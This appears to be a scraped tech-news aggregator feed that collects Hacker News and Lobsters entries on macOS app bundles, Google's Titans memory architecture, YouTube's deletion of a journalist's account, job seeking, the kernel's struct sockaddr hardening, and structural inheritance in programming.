Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Medium (no ads, paywalled):

https://doctorow.medium.com/

Twitter (mass-scale, unrestricted, third-party surveillance and advertising):

https://twitter.com/doctorow

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

" When life gives you SARS, you make sarsaparilla " -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

The Anatomy of a macOS App

Hacker News
eclecticlight.co
2025-12-07 12:31:53
Comments...
Original Article

Programs running in windowing environments, applications as we used to know them, have more complicated requirements than those run from a command line. Rather than embed all the resources they require for windows, menus and the rest in a single file, Mac OS broke new ground by putting those into resources stored in the app’s resource fork.

prefsresedit

This is QuarkXPress version 4.11 from around 2000, with its resources displayed in the resource editor ResEdit. Executable code was also stored in CODE resources, and every file contained type and creator information to support the illusions created by the Finder.

Mac OS X

When Mac OS X was designed, it switched to the bundle structure inherited from NeXTSTEP. Instead of this multitude of resources, apps consisted of a hierarchy of directories containing files of executable code, and those with what had in Mac OS been supporting resources. Those app bundles came to adopt a standard form, shown below.

The bundle name has the extension .app, and contains a single directory Contents. Within that, the executable code is in the MacOS directory, which may contain both the main executable for the GUI app and any bundled command tools provided. Another directory contains Resources, including the app’s custom icon, and components of its GUI. In some apps, there’s another directory of Frameworks containing dylibs (libraries).

There are also two important files, Info.plist and PkgInfo. The latter contains the same type and creator information inherited from Classic Mac OS, and apparently isn’t mandatory although it appears universal. The information property list is essential, as it specifies the names of the executable and its icon file in Resources, the minimum version of macOS required, type declarations of the app’s documents, version numbers, and more.

When running a command tool in macOS, its Mach-O executable is launched by launchd , whose purpose is to run code. Launching an app is more demanding, although the app’s executable is still launched by launchd . Before that can happen, macOS starts the launch process using LaunchServices and RunningBoard, which rely on information obtained from Info.plist and other components in the app bundle.

macOS

This structure remained stable until the introduction of code signatures in Mac OS X 10.5 Leopard in 2007. Accommodating those added a directory named _CodeSignature containing the signature in a CodeResources file. That includes code directory hashes (CDHashes) to check the integrity of the contents of the app bundle. Apps distributed by the App Store include a store receipt in another directory, _MASReceipt. Since 2018, when Apple introduced notarization, the ‘ticket’ issued by Apple can be ‘stapled’ into the app bundle as the file CodeResources.

Many apps come with additional items that might in the past have been installed by them in their Library/Application Support folders and elsewhere, but are now included in the app bundle. These can include the following directories:

  • Library, containing folders of LaunchDaemons and LoginItems that would previously have been installed in either the main Library folder, or that in the user’s Home folder;
  • XPCServices, for executable code that the app uses to provide specific services;
  • Plugins, for some types of app extension (Appex);
  • Extensions, for other types of app extension, including app intents.

You may also come across other components, including a version.plist in Apple’s apps.

This centralisation of components in the app bundle has brought several benefits. Being self-contained, apps are easier to install and update, and cleaner to remove. Their components are less likely to go missing, and most of all they’re held within the protection of the app’s signature and notarisation, an important improvement in security.

Assembling these into a diagram shows how the anatomy of an app has grown over the last few years.

Components shown in pale yellow are either mandatory or essentially universal. Those shown in green are found in apps distributed through the App Store, while that shown in blue is the stapled notarisation ticket (optional). You will also see additional folders and components such as Automator workflows, scripts, and others.

There is no difference in structure between apps built for current Intel and Arm architectures. That’s because binaries in the MacOS folder (and executable code in other directories like Frameworks, XPCServices and Plugins) contain platform-specific code in a single Mach-O executable. Thus, an app that’s Universal and runs native on both architectures includes code for both in its single ‘fat’ code file, and they even have separate signatures stored within common files.

How the Disappearance of Flight 19 Fueled the Legend of the Bermuda Triangle

Hacker News
www.smithsonianmag.com
2025-12-07 12:25:04
Comments...

Google Titans architecture, helping AI have long-term memory

Hacker News
research.google
2025-12-07 12:23:45
Comments...
Original Article

The Transformer architecture revolutionized sequence modeling with its introduction of attention , a mechanism by which models look back at earlier inputs to prioritize relevant input data. However, computational cost increases drastically with sequence length, which limits the ability to scale Transformer-based models to extremely long contexts, such as those required for full-document understanding or genomic analysis.

The research community explored various approaches for solutions, such as efficient linear recurrent neural networks (RNNs) and state space models (SSMs) like Mamba-2 . These models offer fast, linear scaling by compressing context into a fixed-size. However, this fixed-size compression cannot adequately capture the rich information in very long sequences.

In two new papers, Titans and MIRAS , we introduce an architecture and theoretical blueprint that combine the speed of RNNs with the accuracy of transformers. Titans is the specific architecture (the tool), and MIRAS is the theoretical framework (the blueprint) for generalizing these approaches. Together, they advance the concept of test-time memorization, the ability of an AI model to maintain long-term memory by incorporating more powerful “surprise” metrics (i.e., unexpected pieces of information) while the model is running and without dedicated offline retraining.

The MIRAS framework, as demonstrated by Titans, introduces a meaningful shift toward real-time adaptation. Instead of compressing information into a static state, this architecture actively learns and updates its own parameters as data streams in. This crucial mechanism enables the model to incorporate new, specific details into its core knowledge instantly.

Titans: Learning new context on the fly

An effective learning system requires distinct yet interconnected memory modules, mirroring the human brain's separation of short-term and long-term memory .

While attention mechanisms excel for precise, short-term memory, Titans introduces a novel neural long-term memory module , that, unlike the fixed-size vector or matrix memory in traditional RNNs, acts as a deep neural network (specifically, a multi-layer perceptron ). This memory module provides significantly higher expressive power, allowing the model to summarize large volumes of information without losing important context. The model isn't simply taking notes; it's understanding and synthesizing the entire story.

Crucially, Titans doesn’t just passively store data. It actively learns how to recognize and retain important relationships and conceptual themes that connect tokens across the entire input. A key aspect of this ability is what we call the “surprise metric”. In human psychology, we know we quickly and easily forget routine, expected events but remember things that break the pattern — unexpected, surprising, or highly emotional events.

In the context of Titans, the "surprise metric" is the model detecting a large difference between what it currently remembers and what the new input is telling it.

  • Low surprise : If the new word is "cat" and the model's memory state already expects an animal word, the gradient (surprise) is low. It can safely skip memorizing the word "cat" in its permanent long-term state.
  • High surprise : If the model's memory state is summarizing a serious financial report, and the new input is a picture of a banana peel (the unexpected event), the gradient (surprise) will be very high. This signals that the new input is important or anomalous, and it must be prioritized for permanent storage in the long-term memory module.

The model uses this internal error signal (the gradient) as a mathematical equivalent of saying, "This is unexpected and important!" This allows the Titans architecture to selectively update its long-term memory only with the most novel and context-breaking information, keeping the overall process fast and efficient.

Titans refines this mechanism by incorporating two critical elements:

  1. Momentum : The model considers both "momentary surprise" (the current input) and "past surprise" (the recent context flow). This ensures relevant subsequent information is also captured, even if those tokens are not individually surprising.
  2. Forgetting (weight decay) : To manage the finite capacity of the memory when dealing with extremely long sequences, Titans employ an adaptive weight decay mechanism. This acts as a forgetting gate, allowing the model to discard information that is no longer needed.

MIRAS: A unified view of sequence modeling

Every major breakthrough in sequence modeling — from modern transformers to the new, lightning-fast linear RNNs — is essentially the same thing under the hood: a highly complex associative memory module.

Accordingly, what makes MIRAS both unique and practical is the way it views AI modeling. Instead of seeing diverse architectures, it sees different methods of solving the same problem: efficiently combining new information with old memories without letting the essential concepts be forgotten .

MIRAS defines a sequence model through four key design choices:

  • Memory architecture : The structure that stores information (e.g., a vector, matrix, or a deep multi-layer perceptron, like in Titans).
  • Attentional bias : The internal learning objective the model optimizes that determines what it prioritizes.
  • Retention gate : The memory regularizer. MIRAS reinterprets "forgetting mechanisms" as specific forms of regularization that balance new learning against retaining past knowledge.
  • Memory algorithm : The optimization algorithm used to update the memory.

Transcending the mean squared error paradigm

Virtually all successful existing sequence models rely on mean squared error (MSE) or dot-product similarity for both their bias and retention. This reliance can make models sensitive to outliers and limit their expressive power.

MIRAS transcends this limitation by providing a generative framework to explore a more rich design space informed by the literature in optimization and statistics. This allows for the creation of novel architectures with non-Euclidean objectives and regularization.

Using MIRAS, we created three specific attention-free models:

  • YAAD : We designed this MIRAS variant to be less sensitive to major errors or "outliers" (like a single typo in a large document). It uses a gentler math penalty ( Huber loss ) for mistakes, so it doesn't overreact to one-off issues. This makes the model more robust when the input data is messy or inconsistent.
  • MONETA : This model explores the use of more complex and strict mathematical penalties (called generalized norms ). It investigates whether using these more disciplined rules for both what the model attends to and what it forgets can lead to a more powerful and stable long-term memory system overall.
  • MEMORA : This model focuses on achieving the best possible memory stability by forcing its memory to act like a strict probability map. By using this constraint, it ensures that every time the memory state is updated, the changes are controlled and balanced. This guarantees a clean, stable process for integrating new information.Virtually all successful existing sequence models rely on mean squared error (MSE) or dot-product similarity for both their bias and retention. This reliance can make models sensitive to outliers and limit their expressive power.

Experiments and results

We rigorously compared Titans along with MIRAS variants (YAAD, MONETA, MEMORA) against leading architectures, including Transformer++ , Mamba-2 , and Gated DeltaNet . We further validated versatility by testing Titans on genomic modeling (DNA) and time-series forecasting, proving the architecture generalizes effectively beyond text.

Across both standard language modeling datasets ( C4 , WikiTex t) and zero-shot reasoning tasks ( HellaSwag , PIQA), our models consistently demonstrated higher accuracy and perplexity (a measure of how surprised an LLM is when looking at a piece of text).

The power of deep memory

Ablation studies clearly show that the depth of the memory architecture is crucial. When comparing long-term memory modules of the same size but different depths, modules with deeper memories consistently achieve lower perplexity in language modeling. Furthermore, they exhibit better scaling properties, maintaining performance as the sequence length increases significantly.

Language modeling and efficiency

In language modeling and commonsense reasoning tasks, Titans architectures outperform state-of-the-art linear recurrent models (such as Mamba-2 and Gated DeltaNet) and Transformer++ baselines of comparable sizes. The novel MIRAS variants (MONETA, YAAD, MEMORA) also achieve improved performance compared to these baselines, validating the benefit of exploring robust, non-MSE optimization mechanisms. Importantly, these models maintain efficient, parallelizable training and fast linear inference speeds.

Extreme long-context recall

The most significant advantage of these new architectures is their ability to handle extremely long contexts. This is highlighted in the BABILong benchmark , a task requiring reasoning across facts distributed in extremely long documents. In this challenging setting, Titans outperforms all baselines, including extremely large models like GPT-4, despite having many fewer parameters. Titans further demonstrates the capability to scale effectively to context window sizes larger than 2 million tokens.

Conclusion

The introduction of Titans and the MIRAS framework marks a significant advancement in sequence modeling. By employing deep neural networks as memory modules that learn to memorize as data is coming in, these approaches overcome the limitations of fixed-size recurrent states. Furthermore, MIRAS provides a powerful theoretical unification, revealing the connection between online optimization, associative memory, and architectural design. By moving beyond the standard Euclidean paradigm, this research opens the door to a new generation of sequence models that combine the efficiency of RNNs with the expressive power needed for the era of long-context AI.

Java Hello World, LLVM Edition

Hacker News
www.javaadvent.com
2025-12-07 11:51:02
Comments...
Original Article
Timed out getting readerview for https://www.javaadvent.com/2025/12/java-hello-world-llvm-edition.html

A Journalist Reported From Palestine. YouTube Deleted His Account Claiming He’s an Iranian Agent

Intercept
theintercept.com
2025-12-07 11:00:00
YouTube offered multiple explanations for deleting the account of Robert Inlakesh, who covered Israel’s occupation of the West Bank. The post A Journalist Reported From Palestine. YouTube Deleted His Account Claiming He’s an Iranian Agent appeared first on The Intercept....
Original Article

In February 2024 , without warning, YouTube deleted the account of independent British journalist Robert Inlakesh.

His YouTube page featured dozens of videos, including numerous livestreams documenting Israel’s military occupation of the West Bank. In a decade covering Palestine and Israel, he had captured video of Israeli authorities demolishing Palestinian homes, police harassing Palestinian drivers, and Israeli soldiers shooting at Palestinian civilians and journalists during protests in front of illegal Israeli settlements. In an instant, all of that footage was gone.

In July, YouTube deleted Inlakesh’s private backup account. And in August, Google , YouTube’s parent company, deleted his Google account, including his Gmail and his archive of documents and writings.

The tech giant initially claimed Inlakesh’s account violated YouTube’s community guidelines. Months later, the company justified his account termination by alleging his page contained spam or scam content.

However, when The Intercept inquired further about Inlakesh’s case, nearly two years after his account was deleted, YouTube provided a separate and wholly different explanation for the termination: a connection to an Iranian influence campaign.

YouTube declined to provide evidence to support this claim, stating that the company doesn’t discuss how it detects influence operations. Inlakesh remains unable to make new Google accounts, preventing him from sharing his video journalism on the largest English language video platform.

Inlakesh, now a freelance journalist, acknowledged that from 2019 to 2021 he worked from the London office of the Iranian state-owned media organization Press TV, which is under U.S. sanctions. Even so, Inlakesh said that should not have led to the erasure of his entire YouTube account, the vast majority of which was his own independent content that was posted before or after his time at Press TV.

A public Google document from the month Inlakesh’s account was deleted notes that the company had recently closed more than 30 accounts it alleged were linked to Iran that had posted content critical of Israel and its war on Gaza. The company did not respond when asked specifically if Inlakesh’s account was among those mentioned in the document.

Inlakesh said he felt like he was targeted not due to his former employer but because of his journalism about Palestine, especially amid the increasingly common trend of pro-Israeli censorship among Big Tech companies.

“What are the implications of this, not just for me, but for other journalists?” Inlakesh told The Intercept. “To do this and not to provide me with any information — you’re basically saying I’m a foreign agent of Iran for working with an outlet; that’s the implication. You have to provide some evidence for that. Where’s your documentation?”

Misdirection and Lack of Answers

Over the past couple years, YouTube and Google’s explanations given for the terminations of Inlakesh’s accounts have been inconsistent and vague.

YouTube first accused Inlakesh of “severe or repeated violations of our Community Guidelines.” When a Google employee, Marc Cohen, noticed Inlakesh’s public outcry about his account termination in February 2024, he decided to get involved. Cohen filed a support ticket on Google’s internal issue tracker system, “the Buganizer,” asking why a journalist’s account was deleted. Failing to get an answer internally, Cohen went public with his questions that March. After drawing the attention of the YouTube team on Twitter, he said he eventually received an internal response from Google which claimed that Inlakesh’s account had been terminated owing to “scam, deceptive or spam content.”

Cohen, who resigned from Google later that year over its support of the Israeli government’s genocide in Gaza, said had he not gotten involved, Inlakesh would have been left with even less information.

“They get away with that because they’re Google,” Cohen said. “What are you going to do? Go hire a lawyer and sue Google? You have no choice.”

When Inlakesh’s Gmail account was deleted this year, Google said his account had been “used to impersonate someone or misrepresent yourself,” which Google said is a violation of its policies. Inlakesh appealed three times but was given no response.

Only after The Intercept’s inquiry into Inlakesh’s case did Google shift its response to alleged Iranian influence.

“This creator’s channel was terminated in February 2024 as part of our ongoing investigations into coordinated influence operations backed by the Iranian state,” a YouTube spokesperson told The Intercept. The termination of his channel meant all other accounts associated with Inlakesh, including his backup account, were also deleted, YouTube said.

When The Intercept asked YouTube to elaborate on the reason behind the account deletions, such as which specific content may have flagged the account as being linked to an Iranian state influence operation, a YouTube spokesperson replied that YouTube doesn’t “disclose specifics of how we detect coordinated influence operations,” and instead referred The Intercept to Google’s Threat Analysis Group’s quarterly bulletins . TAG is a team within Google that describes itself as working “to counter government-backed hacking and attacks against Google and our users.”

Google’s Threat Analysis Group’s bulletin from when Inlakesh’s account was first terminated states that in February 2024, a total of 37 YouTube channels were deleted as a result of an “investigation into coordinated influence operations linked to Iran.” Four of these accounts, the document notes, were sharing content which “was critical of the Israeli government and its actions in the ongoing Israel-Gaza war” and had “shared content depicting alleged cyber attacks targeting Israeli organizations.” Google said in the document that the other 33 terminated YouTube channels had shown content “supportive of Iran, Yemen, and Palestine and critical of the US and Israel.”

A Pattern of Censorship

Google has a long-standing and well-documented practice of censoring Palestinian content or content critical of the Israeli government, in addition to evidence of human rights abuses in other conflicts . Such censorship has only exacerbated during Israel’s genocidal war on Gaza,

The company deploys various methods to censor content, such as teams of experts who manually review content, automated systems that flag content, reviews of U.S. sanction and foreign terror organization lists, as well as takedown requests from governments.

For the past decade , Israel’s Cyber Unit has openly run operations to convince companies to delete Palestine-related content from platforms such as YouTube.

Among U.S. allies, Israel had the highest percentage of requests resulting in takedowns on Google platforms, with a nearly 90 percent takedown rate, according to Google’s data since 2011. This rate outpaces countries like France, Germany, the United Kingdom, and Google’s home country, the United States. Absent from Google’s public reports, however, are takedown requests made by individual users, a route often weaponized by the Israeli cyber unit and internally by pro-Israel employees .

The scale of content deleted specifically due to U.S. sanctions is also difficult to quantify since such decisions happen without transparency. A recent investigation by The Intercept revealed that YouTube quietly deleted the accounts of three prominent Palestinian human rights organizations due to the Trump administration’s sanctions against the groups for assisting the International Criminal Court’s war crimes case against Israeli officials. The terminated pages accounted for at least 700 videos erased, many of which spotlighted alleged human rights abuses by the Israeli government.

Dia Kayyali, a technology and human rights consultant, said that in the past several years, as Big Tech platforms have relied more on automated systems that are fed U.S. sanction and terror lists, rights groups have seen an increase in the number of journalists within the Middle East and North Africa region who have had their content related to Palestine removed from YouTube, even when the content they post does not violate the company’s policies. The same could have happened with Inlakesh’s account, Kayyali said.

“And that’s part of the problem with automation — because it just does a really bad job of parsing content — content that could be graphic, anything that has any reference to Hamas,” Kayyali said. Hamas is included within the U.S. foreign terror organization list and Iran remains one of the most sanctioned countries by the U.S. government.

Google and other Big Tech platforms rely heavily on U.S. sanction lists in part to avoid potential liability from the State Department. But such caution is not always warranted, said Mohsen Farshneshani, principal attorney at the Washington, D.C.-based Sanctions Law Center.

Multinational corporations like Google tend to lean toward “overcompliance” with sanction regulations, often deleting content even when it legally is not required to do so, harming journalists and human rights groups, said Farshneshani.

Under U.S. law, in the Berman Amendment to the International Emergency Economic Powers Act, informational materials — in this case, reporting and journalism — are exempt from being subject to sanctions.

“Deleting an entire account is far from what the statutes or the regulations ask of U.S. entities.”

Such a carveout should have protected Inlakesh’s page from being deleted, Farshneshani said. Google likely could have taken down specific videos that raised concern, or demonetized specific videos or the entire account, he said. (Inlakesh said that years before terminating his videos and account, YouTube had demonetized some of his content depicting Israeli military violence.)

“Deleting an entire account is far from what the statutes or the regulations ask of U.S. entities,” Farshneshani said. “The exemption is meant for situations like this. And if these companies are to uphold their part of the bargain as brokers of information for the greater global community, they would do the extra leg work to make sure the stuff stays up.”

While YouTube and Google have not stated whether Inlakesh’s history with Press TV played a factor in the deletion, the Iranian state-funded outlet has long been under Google’s scrutiny. In 2013, Google temporarily deleted Press TV’s YouTube account before permanently deleting the channel in 2019 along with its Gmail account amid the first Trump administration’s sanctions campaign against Iran. The Biden administration in 2021 seized and censored dozens of websites tied to Iran, and in 2023 placed sanctions on Press TV due to Iran’s violent crackdown on anti-government protesters after the in-custody death of Mahsa Amini .

Press TV also has been accused by rights groups and journalists for filming and airing propaganda videos in which individuals detained by Iran are coerced to “ confess ” to alleged crimes in recorded interviews, as a part of the government’s attempts to justify their imprisonment or execution.

Press TV did not respond to The Intercept’s request for comment.

Out of the many videos on his YouTube account, Inlakesh recalled only two being associated with his work for Press TV: a documentary critical of the 2020 Trump deal on Israel–Palestine and a short clip about Republicans’ Islamophobic attacks on Rep. Ilhan Omar, D-Minn., in 2019. The rest either predate or postdate his stint at Press TV.

Press TV’s U.K. YouTube channel at times appears listed as an “associated channel” in archival versions of Inlakesh’s personal YouTube page. A YouTube spokesperson stated that YouTube uses “various signals to determine the relationship between channels linked by ownership for enforcement purposes,” but did not clarify what the specific signals were.

Inlakesh maintained that he had editorial independence while at Press TV and was never directed to post to his personal YouTube page.

Jillian York, the director for international freedom of expression at the Electronic Frontier Foundation, said she understood Google’s need to moderate content, but questioned why it deleted Inlakesh’s account rather than using its policy of labeling state-sponsored content, a system that itself has been plagued with problems . “More labels, more warnings, less censorship,” York said.

“The political climate around Palestine has made it such that a lot of the Silicon Valley-based social media platforms don’t seem particularly willing to ensure that Palestinian content can stay up,” she said.

Killing the Narrative

Inlakesh said he lost several documentaries about Israel and Palestine that were hosted exclusively on YouTube. However, what he lamented most was the loss of footage of his independent coverage from the West Bank, including livestreams that document alleged Israeli military abuses and were not backed up elsewhere.

One such video, he said, was a livestream from a protest at the major Israeli settlement of Beit El on February 11, 2020, against President Donald Trump’s lopsided annexation plan for Israel and Palestine .

Through the haze of tear gas, Inlakesh filmed Israeli soldiers camped out at a nearby hill, aiming their guns at the crowd of mostly children throwing rocks.

“And then you see the children drop,” Inlakesh recalled, followed by the bang of a gunshot. Paramedics rushed over to retrieve the children as Inlakesh followed behind. In all, Inlakesh said he filmed Israeli military gunfire hit three Palestinian children, a likely war crime violation , leaving them with wounds to the arms, legs and torso.

“You’re killing part of the narrative,” Inlakesh said. “You’re actively taking away the public’s ability to assess what happened at a critical moment during the history of the conflict.”

What's the State of Jobseeking/Gigseeking/Roleseeking (Dec 2025)?

Lobsters
lobste.rs
2025-12-07 10:41:48
About a hear ago, I left an employer of a decade so that I could upend my life and move to a new country, polish old skills and build new ones, focus on personal projects, make some art—to just shake things up a bit, because I've never been too comfortable with getting too comfortable. 14 months lat...
Original Article

About a hear ago, I left an employer of a decade so that I could upend my life and move to a new country, polish old skills and build new ones, focus on personal projects, make some art—to just shake things up a bit, because I've never been too comfortable with getting too comfortable. 14 months later, her I am: new time zone, new accomplishments, and reinvigorated curiosity, interests, and enthusiasm. Toned (slightly less sedentary), tanned (pasty), and ready to go.

In the interim, it seems like jobseeking has changed dramatically. How are people looking for gigs today? Specifically people with acute LinkedIn allergies, wanting to work with smaller, skills-concentrated teams? In a leadership capacity in my prior position, I caught just the glimmerings of what I'm now told is now a slop-slurry stew making everyone's—seeker 's or hirer's—a lot less pleasant. How close to the truth is this? We nerds historically have a knack for eventually routing around misery in our own ways, so my hope is that stories have been at least somewhat exaggerated.

So, where does one with an overabundance of curiosity, who just wants to make things with a small-to-medium-sized team of really smart, eclectic weirdos—part time, full time, contract, whatever—look for opportunities in late 2025? What strategies are you all using? I'm personally interested in remote opportunities in the EU and US, but I don't want to make this all about me. I'm sure others in different locales wonder similarly. Any and all pointers appreciated.

A Struct Sockaddr Sequel

Hacker News
lwn.net
2025-12-07 09:06:39
Comments...
Original Article

One of the many objectives of the Linux Kernel Self-Protection Project (KSPP) , which just completed ten years of work , is to ensure that all array references can be bounds-checked, even in the case of flexible array members, the size of which is not known at compile time. One of the most challenging flexible array members in the kernel is not even declared as such. Almost exactly one year ago, LWN looked at the effort to increase safety around the networking subsystem's heavily used

sockaddr

structure. One year later, Kees Cook is still looking for a way to bring this work to a close.

In short, the problem is that struct sockaddr is traditionally defined as:

    struct sockaddr {
        short sa_family;
	char sa_data[14];
    };

The sa_data field was more than large enough to hold a network address in the early 1980s when this structure was first defined for BSD Unix, but it is not large enough now. As a result, a great deal of code, in both the kernel and user space, passes around struct sockaddr pointers that, in truth, point to different structures with more space for the addresses they need to hold. In other words, sa_data is being treated as a flexible array member, even though it is not declared as one. The prevalence of struct sockaddr has thrown a spanner into the works of many attempts to better check the uses of array members in structures.

$ sudo subscribe today

Subscribe today and elevate your LWN privileges. You’ll have access to all of LWN’s high-quality articles as soon as they’re published, and help support LWN in the process. Act now and you can start with a free trial subscription.

At the end of last year's episode, much of the kernel had been changed to use struct sockaddr_storage (actually implemented as struct __kernel_sockaddr_storage ), which has a data array large enough to hold any known network address. An attempt was made to change the definition struct sockaddr to make its sa_data field into an explicit flexible array member, but that work ran into a minor snag. There are many places in the kernel where struct sockaddr is embedded within another structure. In most of these cases, sa_data is not treated as a flexible array member, so developers have freely embedded struct sockaddr anywhere within the containing structure, often not at the end.

If sa_data is redefined as a flexible array member, the compiler no longer knows how large the structure will actually be. That, in turn, means that the compiler does not know how to lay out a structure containing struct sockaddr , so it guesses and emits a warning. Or, in the case of a kernel build, tens of thousands of warnings. Kernel developers, as it turns out, would rather face the prospect of an array overflow than a warning flood of that magnitude, so this work came to a halt.

One possible solution would be to replace embedded struct sockaddr fields with struct sockaddr_storage , eliminating the flexible array member. But that would bloat the containing structures with memory that is not needed, so that approach is not popular either.

Instead, Cook is working on a patch series that introduces yet another struct sockaddr variant:

    struct sockaddr_unsized {
	__kernel_sa_family_t	sa_family;	/* address family, AF_xxx */
	char			sa_data[];	/* flexible address data */
    };

Its purpose is to be used in internal network-subsystem interfaces where the size of sa_data needs to be flexible, but where its actual size is also known. For example, the bind() method in struct proto_ops is defined as:

    int	(*bind) (struct socket *sock,
		 struct sockaddr *myaddr,
		 int sockaddr_len);

The type of myaddr can be changed to struct sockaddr_unsized * since sockaddr_len gives the real size of the sa_data array. Cook's patch series does many such replacements, eliminating the use of variably sized sockaddr structures in the networking subsystem. With that done, there are no more uses of struct sockaddr that read beyond the 14-byte sa_data array. As a result, struct sockaddr can be reverted to its classic, non-flexible definition, and array bounds checking can be applied to code using that structure.

That change is enough to make all of those warnings go away, so many would likely see it as a good stopping point. There is still, though, the matter of all those sockaddr_unsized structures, any of which might be the source of a catastrophic overflow at some point. So, once the dust settles from this work, we are likely to see some attention paid to implementing bounds checking for those structures. One possible approach mentioned in the patch set is to eventually add an sa_data_len field, so that the structure would contain the length of its sa_data array. That would make it easy to document the relationship between the fields with the counted_by() annotation , enabling the compiler to insert bounds checks.

While the ability to write new code in Rust holds promise for reducing the number of memory-safety bugs introduced into the kernel, the simple fact is that the kernel contains a huge amount of C code that will not be going away anytime soon. Anything that can be done to make that code safer is thus welcome. The many variations of struct sockaddr that have made the rounds may seem silly to some, but they are a part of the process of bringing a bit of safety to an API that was defined over 40 years ago. Ten years of KSPP have made the kernel safer, but the job is far from done.

Index entries for this article
Kernel Flexible array members
Kernel Networking/struct sockaddr
Kernel Releases/6.19


Structural inheritance doesn't work where you expect it to

Lobsters
trynova.dev
2025-12-07 08:37:38
Comments...
Original Article

Okay, okay, I know what you're thinking: what's this data-oriented design zealot doing, opening their mouth about object-oriented programming? Don't they know that OOP is alive, well, and keeps spawning more successful projects than any other programming paradigm ever did, like Shub-Niggurath the Black Goat of the Woods with a Thousand Young spawns progeny? And don't they know that basically everything in programming is actually OOP, including their favourite ML and DOD features?

So, let's start off with some clarifications:

  1. I'm not announcing the death of object-oriented programming, I just liked the title. Yes, it's effectively click-bait and I don't apologise because I like it and because it is an explicit reference.
  2. I don't think object-oriented programming is the worst thing in the world, and I use things like classes regularly in the TypeScript I write as a means of putting food on the table.
  3. I am about to complain about one particular programming language feature that, according to the Internet commentariat, is purely an implementation detail and has nothing to do with object-oriented programming. So, if you see yourself or your favourite programming language in the picture being drawn by this blog post, remember then that this is purely a coincidence and no object-oriented languages are being harmed by this blog post – only implementation details.

The thing we're talking about is of course structural inheritance. "What is structural inheritance and how is it different from class inheritance in this programming language?", I hear you cry. Let's define the term by counter-example first: interface inheritance or typeclassing is a form of inheritance where a "subclass" only inherits a set of behaviours from the "superclass"; structural inheritance is then a form of inheritance where both behaviours and the form of a superclass are both inherited.

Because we're talking about an implementation detail, let's try to make this very concrete: structural inheritance (as I am talking about it) means inheriting the memory layout of the superclass, such that a pointer to a subclass instance can be directly used as a pointer to a superclass instance: reading inbounds offsets from such a pointer will read exactly the same (kind of) data regardless of if the pointer points to a subclass or superclass instance.

This form of inheritance is what I will rail against today. Now, you've been warned but I'll reiterate for safety: if you see yourself or your favourite programming language in this definition, it is merely a coincidence. In particular, languages that are not at all pointed to here include JavaScript 1 and C++ 2 . Now, let's grind that ax!

Protego!

Structural inheritance isn't all bad: it is exceedingly convenient, easy to understand, and works great for many things. A commonly cited example is GUIs and how excellent inheritance is for modeling them, with structural inheritance being implied by this praise.

A (hopefully uncontroversial) case for structural inheritance's superiority in a GUI programming setting might come from defining the position of an element in a GUI. The element needs to be drawn somewhere , so left , top , width , and height properties of one form or another are simply required for all elements. It then makes sense to put these properties in the base class of the GUI library.

class BaseElement {
  left: u32;
  top: u32;
  width: u32;
  height: u32;
}

class ButtonElement extends BaseElement {
  toggled: boolean;
}

class TextElement extends BaseElement {
  value: string;
}

In terms of memory layout, this sort of structural inheritance hierarchy means that classes look something like this in memory:

const BaseLayout = [u32, u32, u32, u32];
const ButtonLayout = [...BaseLayout, boolean];
const TextLayout = [...BaseLayout, string];

The base class fields are placed at the start of the subclass' memory layout; note that the fields of the subclass are at the very end, despite probably being the most important fields of the class. It isn't a given, but it can be slower to load far-off fields.

This all looks pretty fine. Let's keep going then.

Reducto!

If we think about a text element in a GUI, it's fairly common that it will only take up the amount of space that it requires, up to some maximum at which point it gets cut off with maybe an ellipsis added at the end. Now, how would we do that in our GUI here?

The first obvious step is to introduce an extra wrapper around a TextElement : that wrapping element defines the maximum space that the text can take, after which ellipsis appears. Our TextElement itself then probably still has a user-definable position somehow, but its width and height values become dependent on the actual text value. Depending on the details of the system, at this point the actual width and height properties might become unused as it may be cheap enough to simply calculate the resultant size of the text from the string dynamically. Even if that is not the case, the properties at the very least become merely caches of calculated values: they are not the source of truth that they once were.

Letting that simmer, what if we introduce a flexible box or grid layout element into the GUI? The properties of our base element class might become entirely irrelevant when placed in such a layout, yet they remain an integral part of the memory layout of each instance. That is memory being used to store no information whatsoever, just pure waste.

This isn't a deal-breaker of course: we can introduce a further base class (maybe call it a Node ?) that doesn't have these properties at all and can then inherit from that to avoid the properties when we know they're not needed. This is all just engineering and trade-offs, nothing fundamental that couldn't be fixed. But at least we found an issue in the way we built our inheritance hierarchy, if nothing else.

The Curse of Structural Inheritance

Reusing the original GUI example, let's say our GUI gets an BinaryElement extends BaseElement subclass that displays 32 bits in 0s and 1s using a monospace font: calculating the width of this element is trivial, simply multiply the monospace font's character width by 32. Now, it is clear that the width property from our BaseElement is going to be unnecessary: we really don't need to store the result of this calculation in memory, and we'd much rather reuse that width property's memory to store the 32 bits that the BinaryElement is displaying. Yet, this cannot be done.

Our BinaryElement is clearly an element in terms of interface inheritance: it has ways to display some data in some location on the screen. But it is also better defined, or has a more limited use-case, than a general element is: its contents is known to be a binary number of 32 bits, and its size is known to be a static value (modulo the monospace font). Yet, no matter how hard we try, we cannot make the BinaryElement smaller than a BaseElement is; rather it must be bigger to fit the 32 bits it displays.

Now, it would be fair to say that the inheritance hierarchy here is badly designed, wrong, doesn't actually make sense, and has nothing to do with object-oriented programming in the first place anyway. Also, wasting the 8 bytes of the width and height properties is meaningless in the grand scheme of things and thus the larger waste of time is thinking about this whole issue at a all. And maybe it is, but that is not a universal truth: this is engineering, and it is all about trade-offs. In a real-world inheritance hierarchy you'll probably find that much more memory is being wasted, and the effect of it is not insigificant. At some point you'll find that the cost of not thinking about this issue is too high to bear.

